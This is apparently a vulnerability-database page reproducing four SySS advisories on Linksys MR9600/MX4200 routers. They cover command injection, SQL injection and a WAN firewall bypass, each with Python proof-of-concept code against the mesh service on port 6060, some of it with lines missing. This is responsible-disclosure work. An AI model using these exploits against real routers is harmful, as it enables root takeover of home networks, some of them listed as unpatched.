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    442 vulnerabilities by Linksys

    GCVE-1988-2026-0203

    Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-09 10:09
    VLAI
    Title
    [SYSS-2025-011] Linksys MX9600/MX4200 - OS Command Injection
    Summary
    Advisory ID:               SYSS-2025-011 Product:                   MR9600, MX4200 (and potentially others) Manufacturer:              Linksys Tested Version(s):         1.0.4.205530 for MR9600, 1.0.13.210200 for MX4200 Vulnerability Type:        OS Command Injection (CWE-78) Risk Level:                High Solution Status:           Open Manufacturer Notification: 2025-03-18 Solution Date:             - Public Disclosure:         2026-02-12 CVE Reference:             Not yet assigned Author of Advisory:        Christian Zäske, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: Linksys MX4200 is a Wi-Fi mesh router targeting home users. The manufacturer describes the product as follows (see [1]): "This router supports the latest Wi-Fi® 6 (802.11ax) standard for next-level streaming and gaming. Its powerful WiFi 6 mesh coverage offers faster WiFi performance for lag-free online gaming and simultaneous streaming to every device and corner of your home." Due to missing neutralization of special elements, OS commands can be injected via the update functionality of a TLS-SRP connection, which is normally used for configuring devices inside the mesh network. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The Linksys MX4200 (and other models) provides a service (sct_server binary) running on TCP port 6060, which is used to integrate other mesh devices into the network. The service accepts TLS-SRP connections with a username and password. The service supports an update request, which can be used to set "syscfg" variables on the device. The script "/tmp/cron/cron.everyminute/offline-notifier.cron" is executed every minute and sets "syscfg" variables containing "node-off" as environment variables using the following lines:   VARS="$(syscfg show |           grep node-off |           sed -r "s/^[^:]+:://g" |           while read i; do               echo "$i;"           done)"   eval $VARS Usually, the variable "VARS" is set to a value similar to the following:   $ syscfg show | grep node-off   node-off::min_offline_time=3   node-off::enabled=1   node-off::cache_dir=/tmp/msg   node-off::enable_cloud=1   node-off::debug=0 By using the service on port 6060, an update request can be sent to the device, which can be used to set an arbitrary "syscfg" entry. If this entry contains ";", OS commands can be injected into the "VARS" variable, which will be used by eval. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): Using the "tlslite-ng" library, the following Python code will result in the LED indicator at the top of the device turning yellow, indicating that the OS command got successfully executed:   from socket import *   from tlslite.api import *   sock = socket.socket(AF_INET, SOCK_STREAM)   sock.connect(("192.168.1.1", 6060))   conn = TLSConnection(sock)   conn.handshakeClientSRP(srp_username, srp_pass) conn.sendall(bytes.fromhex("4f53435479e0b43120fcf435000000600000")) This code results in the following "syscfg" value to be set:   $ syscfg show | grep SySS   node-off::SySS=; combo_solid yellow on When parsed by the script "offline-notifier.cron", the following line will be executed by eval, resulting in the indicator LED turning yellow after a maximum of 60 seconds: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: There is no known solution yet. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2025-01-30: Vulnerability discovered 2025-03-18: Vulnerability reported to manufacturer 2025-04-07: First response from manufacturer 2025-04-14: Requested an update from manufacturer 2025-05-06: Acknowledgment of vulnerabilities by the manufacturer 2026-02-12: Public disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for Linksys MX4200     https://support.linksys.com/kb/article/952-en/ [2] SySS Security Advisory SYSS-2025-011 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-011.txt [3] SySS Responsible Disclosure Policy     https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Christian Zäske of SySS GmbH. E-Mail: christian.zaeske () syss de Key ID: 0x7B00D164A32F9AC9 Key Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: https://creativecommons.org/licenses/by/3.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    CWE
    Impacted products

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              "value": "Advisory ID:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0SYSS-2025-011\nProduct:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0MR9600, MX4200 (and potentially others)\nManufacturer:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Linksys\n\nTested Version(s):\u00a0 \u00a0 \u00a0 \u00a0 \u00a01.0.4.205530 for MR9600, 1.0.13.210200 for MX4200\nVulnerability Type:\u00a0 \u00a0 \u00a0 \u00a0 OS Command Injection (CWE-78)\nRisk Level:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 High\nSolution Status:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Open\nManufacturer Notification: 2025-03-18\nSolution Date:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0-\nPublic Disclosure:\u00a0 \u00a0 \u00a0 \u00a0 \u00a02026-02-12\nCVE Reference:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Not yet assigned\nAuthor of Advisory:\u00a0 \u00a0 \u00a0 \u00a0 Christian Z\u00e4ske, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nLinksys MX4200 is a Wi-Fi mesh router targeting home users.\n\nThe manufacturer describes the product as follows (see [1]):\n\n\"This router supports the latest Wi-Fi\u00ae 6 (802.11ax) standard for\nnext-level streaming and gaming. Its powerful WiFi 6 mesh coverage\noffers faster WiFi performance for lag-free online gaming and\nsimultaneous streaming to every device and corner of your home.\"\n\nDue to missing neutralization of special elements, OS commands can\nbe injected via the update functionality of a TLS-SRP connection,\nwhich is normally used for configuring devices inside the mesh\nnetwork.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe Linksys MX4200 (and other models) provides a service (sct_server\nbinary) running on TCP port 6060, which is used to integrate other mesh\ndevices into the network. The service accepts TLS-SRP connections with\na username and password.\n\nThe service supports an update request, which can be used to set\n\"syscfg\" variables on the device. The script\n\"/tmp/cron/cron.everyminute/offline-notifier.cron\" is executed every\nminute and sets \"syscfg\" variables containing \"node-off\" as environment\nvariables using the following lines:\n\n\u00a0 VARS=\"$(syscfg show |\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 grep node-off |\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 sed -r \"s/^[^:]+:://g\" |\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 while read i; do\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 echo \"$i;\"\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 done)\"\n\u00a0 eval $VARS\n\nUsually, the variable \"VARS\" is set to a value similar to the following:\n\n\u00a0 $ syscfg show | grep node-off\n\n\u00a0 node-off::min_offline_time=3\n\u00a0 node-off::enabled=1\n\u00a0 node-off::cache_dir=/tmp/msg\n\u00a0 node-off::enable_cloud=1\n\u00a0 node-off::debug=0\n\n\n\nBy using the service on port 6060, an update request can be sent to the\ndevice, which can be used to set an arbitrary \"syscfg\" entry. If this\nentry contains \";\", OS commands can be injected into the \"VARS\"\nvariable, which will be used by eval.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nUsing the \"tlslite-ng\" library, the following Python code will result\nin the LED indicator at the top of the device turning yellow, indicating\nthat the OS command got successfully executed:\n\n\u00a0 from socket import *\n\u00a0 from tlslite.api import *\n\n\u00a0 sock = socket.socket(AF_INET, SOCK_STREAM)\n\u00a0 sock.connect((\"192.168.1.1\", 6060))\n\n\u00a0 conn = TLSConnection(sock)\n\u00a0 conn.handshakeClientSRP(srp_username, srp_pass)\n\nconn.sendall(bytes.fromhex(\"4f53435479e0b43120fcf435000000600000\"))\n\n\nThis code results in the following \"syscfg\" value to be set:\n\n\u00a0 $ syscfg show | grep SySS\n\u00a0 node-off::SySS=; combo_solid yellow on\n\nWhen parsed by the script \"offline-notifier.cron\", the following line\nwill be executed by eval, resulting in the indicator LED turning yellow\nafter a maximum of 60 seconds:\n\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThere is no known solution yet.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2025-01-30: Vulnerability discovered\n2025-03-18: Vulnerability reported to manufacturer\n2025-04-07: First response from manufacturer\n2025-04-14: Requested an update from manufacturer\n2025-05-06: Acknowledgment of vulnerabilities by the manufacturer\n2026-02-12: Public disclosure\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] Product website for Linksys MX4200\n\u00a0 \u00a0 https://support.linksys.com/kb/article/952-en/\n[2] SySS Security Advisory SYSS-2025-011\nhttps://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-011.txt\n[3] SySS Responsible Disclosure Policy\n\u00a0 \u00a0 https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Christian Z\u00e4ske of SySS\nGmbH.\n\nE-Mail: christian.zaeske () syss de\n\nKey ID: 0x7B00D164A32F9AC9\nKey Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS website.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 3.0\nURL: https://creativecommons.org/licenses/by/3.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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    GCVE-1988-2026-0204

    Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-09 10:09
    VLAI
    Title
    [SYSS-2025-014] Linksys MX4200 - Improper Verification of Source of a Communication Channel
    Summary
    Advisory ID:               SYSS-2025-014 Product:                   MX4200 (and potentially others) Manufacturer:              Linksys Affected Version(s):       1.0.13.210200 (and potentially others) Tested Version(s):         1.0.13.210200 MX4200 Risk Level:                Critical Solution Status:           Fixed Manufacturer Notification: 2025-03-18 Solution Date:             2025-06-24 Public Disclosure:         2026-02-12 CVE Reference:             Not yet assigned Author of Advisory:        Christian Zäske, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: Linksys MX4200 is a Wi-Fi mesh router targeting home users. The manufacturer describes the product as follows (see [1]): "This router supports the latest Wi-Fi® 6 (802.11ax) standard for next-level streaming and gaming. Its powerful WiFi 6 mesh coverage offers faster WiFi performance for lag-free online gaming and simultaneous streaming to every device and corner of your home." Due to an improperly configured firewall rule, the router will accept any connection on the WAN port with the source port 5222, exposing all services which are normally only accessible through the local network. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The Linksys MX4200 (and potentially other models) contains the following iptables rules:   -A INPUT -i eth0 -j wan2self   -A wan2self -j wan2self_ports   -A wan2self_ports -p tcp -m tcp --sport 5222 -j xlog_accept_wan2self   -A xlog_accept_wan2self -j ACCEPT This chain of rules allows any incoming packets on port eth0 (WAN port) which originate from port 5222. This leads to the exposure of any services listening on 0.0.0.0 to be exposed to the internet if no additional firewall is used. This is especially critical because of which can ultimately lead to unauthorized OS command injection over the internet. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The following Python code will exploit SYSS-2025-010 over the internet:   from socket import *   from tlslite.api import *   sock = socket.socket(AF_INET, SOCK_STREAM)   sock.bind(('0.0.0.0', 5222))   sock.connect(("203.0.113.100", 6060))   conn = TLSConnection(sock) The only change to SYSS-2025-010 is the fixed source port 5222 and the endpoint. This is no longer the local IP address, but the public IP address that is accessible via the internet. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: There is no known solution yet. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2025-01-30: Vulnerability discovered 2025-03-18: Vulnerability reported to manufacturer 2025-04-07: First response from manufacturer 2025-04-14: Requested an update from manufacturer 2025-05-06: Acknowledgment of vulnerabilities by the manufacturer 2025-06-24: Fix published by manufacturer 2026-02-12: Public disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for Linksys MX4200     https://support.linksys.com/kb/article/952-en/ [2] SYSS-2025-009, SYSS-2025-010 and SYSS-2025-011 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-009.txt https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-010.txt https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-011.txt [3] SySS Security Advisory SYSS-2025-014 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-014.txt [4] SySS Responsible Disclosure Policy     https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Christian Zäske of SySS GmbH. E-Mail: christian.zaeske () syss de Key ID: 0x7B00D164A32F9AC9 Key Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: https://creativecommons.org/licenses/by/3.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    Impacted products
    Vendor Product Version
    Linksys Linksys MX4200 - Affected: unknown
    Create a notification for this product.

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              "value": "Advisory ID:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0SYSS-2025-014\nProduct:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0MX4200 (and potentially others)\nManufacturer:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Linksys\nAffected Version(s):\u00a0 \u00a0 \u00a0 \u00a01.0.13.210200 (and potentially others)\nTested Version(s):\u00a0 \u00a0 \u00a0 \u00a0 \u00a01.0.13.210200 MX4200\n\nRisk Level:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Critical\nSolution Status:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Fixed\nManufacturer Notification: 2025-03-18\nSolution Date:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a02025-06-24\nPublic Disclosure:\u00a0 \u00a0 \u00a0 \u00a0 \u00a02026-02-12\nCVE Reference:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Not yet assigned\nAuthor of Advisory:\u00a0 \u00a0 \u00a0 \u00a0 Christian Z\u00e4ske, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nLinksys MX4200 is a Wi-Fi mesh router targeting home users.\n\nThe manufacturer describes the product as follows (see [1]):\n\n\"This router supports the latest Wi-Fi\u00ae 6 (802.11ax) standard for\nnext-level streaming and gaming. Its powerful WiFi 6 mesh coverage\noffers faster WiFi performance for lag-free online gaming and\nsimultaneous streaming to every device and corner of your home.\"\n\nDue to an improperly configured firewall rule, the router will accept\nany connection on the WAN port with the source port 5222, exposing all\nservices which are normally only accessible through the local network.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe Linksys MX4200 (and potentially other models) contains the following\niptables rules:\n\n\u00a0 -A INPUT -i eth0 -j wan2self\n\u00a0 -A wan2self -j wan2self_ports\n\u00a0 -A wan2self_ports -p tcp -m tcp --sport 5222 -j xlog_accept_wan2self\n\u00a0 -A xlog_accept_wan2self -j ACCEPT\n\nThis chain of rules allows any incoming packets on port eth0 (WAN port)\nwhich originate from port 5222. This leads to the exposure of any\nservices listening on 0.0.0.0 to be exposed to the internet if no\nadditional firewall is used. This is especially critical because of\n\nwhich can ultimately lead to unauthorized OS command injection over the\ninternet.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe following Python code will exploit SYSS-2025-010 over the internet:\n\n\u00a0 from socket import *\n\u00a0 from tlslite.api import *\n\n\u00a0 sock = socket.socket(AF_INET, SOCK_STREAM)\n\u00a0 sock.bind((\u00270.0.0.0\u0027, 5222))\n\u00a0 sock.connect((\"203.0.113.100\", 6060))\n\n\u00a0 conn = TLSConnection(sock)\n\n\nThe only change to SYSS-2025-010 is the fixed source port 5222 and the\nendpoint. This is no longer the local IP address, but the public IP\naddress that is accessible via the internet.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThere is no known solution yet.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2025-01-30: Vulnerability discovered\n2025-03-18: Vulnerability reported to manufacturer\n2025-04-07: First response from manufacturer\n2025-04-14: Requested an update from manufacturer\n2025-05-06: Acknowledgment of vulnerabilities by the manufacturer\n2025-06-24: Fix published by manufacturer\n2026-02-12: Public disclosure\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] Product website for Linksys MX4200\n\u00a0 \u00a0 https://support.linksys.com/kb/article/952-en/\n[2] SYSS-2025-009, SYSS-2025-010 and SYSS-2025-011\nhttps://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-009.txt\nhttps://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-010.txt\nhttps://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-011.txt\n[3] SySS Security Advisory SYSS-2025-014\nhttps://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-014.txt\n[4] SySS Responsible Disclosure Policy\n\u00a0 \u00a0 https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Christian Z\u00e4ske of SySS\nGmbH.\n\nE-Mail: christian.zaeske () syss de\n\nKey ID: 0x7B00D164A32F9AC9\nKey Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. 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    GCVE-1988-2026-0201

    Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-09 10:09
    VLAI
    Title
    [SYSS-2025-009] Linksys MX9600/MX4200 - SQL Injection
    Summary
    Advisory ID:               SYSS-2025-009 Product:                   MR9600, MX4200 (and potentially others) Manufacturer:              Linksys Tested Version(s):         1.0.4.205530 for MR9600, 1.0.13.210200 for MX4200 Vulnerability Type:        SQL Injection (CWE-89) Risk Level:                High Solution Status:           Open Manufacturer Notification: 2025-03-18 Solution Date:             - Public Disclosure:         2026-02-12 CVE Reference:             Not yet assigned Author of Advisory:        Christian Zäske, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: Linksys MX4200 is a Wi-Fi mesh router targeting home users. The manufacturer describes the product as follows (see [1]): "This router supports the latest Wi-Fi® 6 (802.11ax) standard for next-level streaming and gaming. Its powerful WiFi 6 mesh coverage offers faster WiFi performance for lag-free online gaming and simultaneous streaming to every device and corner of your home." Due to improper neutralization of special elements, SQL statements can be injected via the handshake of a TLS-SRP connection. This can be used to inject known credentials into the database. These credentials can be utilized to successfully complete the handshake and use the protected service. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The Linksys MX4200 (and other models) provides a service (sct_server binary) running on TCP port 6060 (all interfaces except WAN), which is used to integrate other mesh devices into the network. The service accepts TLS-SRP connections with a username and password. The service uses a different script (smcdb_auth) to receive credential information from an SQLite databse using the given username. Since the service does not properly neutralize special elements in the username, arbitrary SQL statements can be injected. This can be used to insert known credentials into the correct database table, which then provide access to the protected service (sct_server). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): Using the "tlslite-ng" library, the following Python code will inject known credentials into the "authorize" table of the used SQLite database. These credentials can be used to access the service.   from socket import *   from tlslite.api import *   from tlslite import *   N, g, salt, verifier = VerifierDB.makeVerifier("SySS", "SySS", 1024)   verifier_bytes = verifier.to_bytes(128)   sock = socket.socket(AF_INET, SOCK_STREAM)   sock.connect(("192.168.1.1", 6060))   conn = TLSConnection(sock)   try:   except:       pass   for byte in verifier_bytes:       sock = socket.socket(AF_INET, SOCK_STREAM)       sock.connect(("192.168.1.1", 6060))       conn = TLSConnection(sock)       try:       except:           pass After the code is executed, the TLS-SRP handshake will successfully complete when authenticating with the username "SySS" and the password "SySS". ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: There is no known solution yet. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2025-01-30: Vulnerability discovered 2025-03-18: Vulnerability reported to manufacturer 2025-04-07: First response from manufacturer 2025-04-14: Requested an update from manufacturer 2025-05-06: Acknowledgment of vulnerabilities by the manufacturer 2026-02-12: Public disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for Linksys MX4200     https://support.linksys.com/kb/article/952-en/ [2] SySS Security Advisory SYSS-2025-009 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-009.txt [3] SySS Responsible Disclosure Policy     https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Christian Zäske of SySS GmbH. E-Mail: christian.zaeske () syss de Key ID: 0x7B00D164A32F9AC9 Key Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: https://creativecommons.org/licenses/by/3.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    CWE
    Impacted products

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Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS website.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 3.0\nURL: https://creativecommons.org/licenses/by/3.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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    GCVE-1988-2026-0202

    Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-09 10:09
    VLAI
    Title
    [SYSS-2025-010] Linksys MX9600/MX4200 - OS Command Injection
    Summary
    Advisory ID:               SYSS-2025-010 Product:                   MR9600, MX4200 (and potentially others) Manufacturer:              Linksys Tested Version(s):         1.0.4.205530 for MR9600, 1.0.13.210200 for MX4200 Vulnerability Type:        OS Command Injection (CWE-78) Risk Level:                High Solution Status:           Open Manufacturer Notification: 2025-03-18 Solution Date:             - Public Disclosure:         2026-02-12 CVE Reference:             Not yet assigned Author of Advisory:        Christian Zäske, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: Linksys MX4200 is a Wi-Fi mesh router targeting home users. The manufacturer describes the product as follows (see [1]): "This router supports the latest Wi-Fi® 6 (802.11ax) standard for next-level streaming and gaming. Its powerful WiFi 6 mesh coverage offers faster WiFi performance for lag-free online gaming and simultaneous streaming to every device and corner of your home." Due to missing neutralization of special elements, OS commands can be injected via the handshake of a TLS-SRP connection, which are ultimately run as the root user. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The Linksys MR9600 (and other models) provides a service (sct_server binary) running on TCP port 6060 (all interfaces except WAN), which is used to integrate other mesh devices into the network. The service accepts TLS-SRP connections with a username and password. The service uses a different script (smcdb_auth) to receive credential information using the given username. Since the service does not neutralize special elements and appends the username as a command line argument, arbitrary OS commands can be injected via the username of the TLS-SRP handshake. These commands are run as the root user without the need of a valid username or password. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): Using the "tlslite-ng" library, the following Python code will result in the LED indicator 